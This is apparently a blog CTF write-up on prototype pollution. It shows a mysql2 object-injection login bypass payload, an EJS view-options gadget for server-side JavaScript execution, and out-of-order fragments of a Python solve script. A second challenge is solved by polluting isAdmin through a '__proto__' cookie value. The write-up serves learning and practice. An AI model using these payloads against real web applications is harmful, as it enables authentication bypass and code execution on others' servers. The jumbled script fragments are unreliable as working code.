Prototype pollution vulnerabilities typically arise when user input is used to set properties of existing objects.This vuln is kind of long theory so I will not discuss in this blog. You can learn more about this vulnerable here
But after complete that learning-path, I start do some CTF challenge and writeup it here.
The Exploit chain for this challenge have two step:
Bypass login as admin through a type-confusion / query-formatting issue in /auth/login.
Exploit prototype pollution in /admin to poison Object.prototype, then abuse EJS rendering options to execute server-side JavaScript and overwrite the template with the flag.
That mean we can input an object to login function, and mysql2 will parse it differently that we can abuse to bypass login
The trick
Older MySQL escaping behavior used by vulnerable mysql/mysql2 stacks could parse object values into SQL fragments rather than treating them as literal strings. The modern replacement project explicitly documents that this behavior could let objects manipulate query structure, and that MySQL2 only switched to the safer default in version 3.17.0; this challenge uses mysql2 3.11.3.
So if we input:
1 2 3 4
{ "username":"admin", "password":{"password":1} }
The query become
1 2 3 4
SELECT*FROM users WHERE username ='admin' AND password = `password` =1 LIMIT 1
For the admin row, it compare password = `password` is TRUE and then TRUE=1, so the predicate succeeds and the query get back the admin row.
–> Login as ADMIN . We have a valid admin token.
2. Prototype pollution in clone()
The admin route does:
1 2
const data = clone(req.body); return res.json(data);
When Express renders a template with EJS, EJS’s renderFile() has a special Express compatibility path: if data.settings['view options'] exists, EJS shallow-copies those values into the render options.
So escapeFunction is not merely stored as data. Under client: true, its source text is inserted into generated JavaScript and compiled. That gives us server-side JavaScript execution during template compilation
As opts.client and opts.escapeFunction aren’t set by default. Our payload Prototype Pollution can set:
# First render compiles the original template and overwrites views/admin.ejs with the flag. r1 = session.get(f"{base_url}/admin", headers=headers, timeout=15) if r1.status_code != 200: fail(f"first /admin render failed: {r1.status_code} {r1.text}") log("first /admin render triggered the EJS gadget")
# Second render reads the now-overwritten template file, which contains only the flag. r2 = session.get(f"{base_url}/admin", headers=headers, timeout=15) if r2.status_code != 200: fail(f"second /admin render failed: {r2.status_code} {r2.text}")
flag = r2.text.strip() return flag
def main(): parser = argparse.ArgumentParser(description="Solve script for the pr0t0typ3 p011ut10n web challenge") parser.add_argument("url", help="Base URL, e.g. http://host:3000") parser.add_argument("--proxy", help="HTTP(S) proxy, e.g. http://127.0.0.1:8080") parser.add_argument("--insecure", action="store_true", help="Disable TLS verification") args = parser.parse_args()
base_url = args.url.rstrip("/") session = requests.Session() session.verify = not args.insecure session.headers.update({"User-Agent": "solve-script/1.0"}) if args.proxy: session.proxies.update({"http": args.proxy, "https": args.proxy})
This is a root-me blackbox challenge. This challenge took me a lot of time cuz It’s kind of guessing.
After login, we’ve got a dashboard with some description
It said about “mypost button”, plus it is a prototye pollution challenge. So i think i will have to workout with “create post function”
I was try several way to pollute it but nothing work
Another route of this challenge are /admin that throw 403- Unauthorized and said: “Involve reason : You are not an admin.”, i guess our goal is to prototype pollution property isAdmin to become Admin and capture the flag.
Route /profile allow us to update our cookie visibility to private or public. Hmm, what does this use for ? .
I try desperatelly pollute every json form that i found in this application but nothing happen. I feel desperated and exhauted, that i gave up for around two week.
But a day, I found a brilliant idea: the pollution target may be the visibility cookie !!
I try this and use response cookie to get the flag !!
Magic
I guess in serverside: /mypost writes something equivalent to posts[visibility][title] = post. With visibility="__proto__", my request become posts.__proto__.isAdmin = true, which pollutes Object.prototype and makes the admin check pass.